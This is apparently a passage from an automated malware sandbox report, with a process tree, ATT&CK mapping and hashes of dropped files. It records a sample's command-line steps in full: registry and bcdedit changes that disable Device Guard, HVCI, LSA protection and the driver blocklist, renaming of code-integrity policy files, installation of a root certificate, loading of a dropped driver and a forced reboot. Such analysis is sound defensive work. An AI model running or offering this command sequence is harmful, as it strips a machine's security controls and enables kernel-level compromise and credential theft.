- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1300
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:6448
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5244
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4528
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240757906.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240757906.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4340
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240757906
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240757906
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240757906
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240757906
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1652
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /s
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /s
    3⤵
    PID:5776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240757906
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5548
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240757906
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1220
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240757906
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240757906
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1404
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /d
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /d
    3⤵
    - Enumerates connected drives
    PID:6336
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240757906" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5964
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240757906" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6560
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:556
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240759843_19049.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240759843_19049.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:6536
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240759843_19049.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240759843_19049.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:1600
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5844
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6680

C:\Windows\Temp\longdiequdong1.sys
C:\Windows\Temp\longdiequdong1.sys
1⤵
- Executes dropped EXE
PID:5740

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39fb055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:3280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240747953_17453.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240747953_17453.bat
Size 173B
SHA256 f05fef2b2cb953ee09bffddfe91dca3828eade227a706ac6aea2c5958e371948
MD5 70401fe66dffda3bfb8476ce67a89236
SHA1 381081f34b09200f3d7fc88403015a242565f58e
SHA512 55cb25fe97b11e463dec7a2e7625bb741cdb8796451883fa4840633cce623deb9557b2835983c554fe8bc2a0ad2dd9ca8c8b5331db6f50606f5de15573b00006
TLSH
T19AC0224313408CDD0000A00AA4A3C04430A249C72DC939A0066548A89890486AE0A103
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240747953_17453.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240747953_17453.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240757906.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240757906.bat
Size 71B
SHA256 fb0fec4a14fa67cfa7909a69d9627317513645df210e0de51defd409caae452f
MD5 a9c2d8197b2d05412774bf2d01819317
SHA1 b1a61b8826e04057447d5c96fbdf80f2923b9665
SHA512 147507984da3fedfee4fc16e4bbac1e68d6da0699158ecc523f6fe2a77070521923f5ccedf9af86559b329885c967665db37c070a1db87dab38286b3c0fc584e
TLSH
T1D2A02202828ACB8C80080A33A2F3C8CCE0A2080B3B80EB000302C02C888300EEF8E303
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240757906.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240757906.txt
Size 47B
SHA256 3827cbd05a50743b57acddb70bbeb3c2118eb07e528c8d6e9449ae18553e41fa
MD5 99746df3450c18c32b6e617f2d27f934
SHA1 4bde2cc83326ad3386b0dfaea363304a52da5dd0
SHA512 048367c362a8e45154fca1da91c9561fd04b04d96f02b2bff3ed45385350fa591d3913dfd771cec4e277ea071267cf95c612382fea94decfa3803b5eca275307
MD5 SHA1 SHA512

Submit Download

_wdkt_240759843_19049.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240759843_19049.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

longdiequdong1.sys

Path C:\Windows\Temp\longdiequdong1.sys
Size 459KB
SHA256 c49756369aaf475e649c8c6700f75ac789c19ba479c42dc1e812e108a6446f1e
MD5 17931738f77368a96a6ac26f2a8a4473
SHA1 9ca05709a5bc01c2e51dc7bef14d0f5e53c6023d
SHA512 c1830420f5407baf8d96817f3cb6db7fa50c29905dc91d5535a747d7b207daa755e671aaf2a4b494cba75789e4a3edbf676b288269591f6dc02396607101f8b5
SSDEEP 6144:f6pHp2kyXnUePaeE8+6SKyRXCc8c02DKBDauEEXu1u+Ae6jh6hiEsK8aQ:f2KXUeFEiSKf2DKBDauLNNj4hiEq
TLSH
T19DA45C41E3A516E0E2B2D4788527A327D6F27C281B16D7DF85A0C9662F27BD0ED39F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1808-11-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-17-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-16-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-19-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-15-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-0-0x0000000000421000-0x0000000000422000-memory.dmp

Download

memory/1808-24-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-10-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-27-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-1-0x00000000028E0000-0x000000000290B000-memory.dmp

Download

memory/1808-36-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/1808-38-0x0000000000400000-0x000000000071B000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads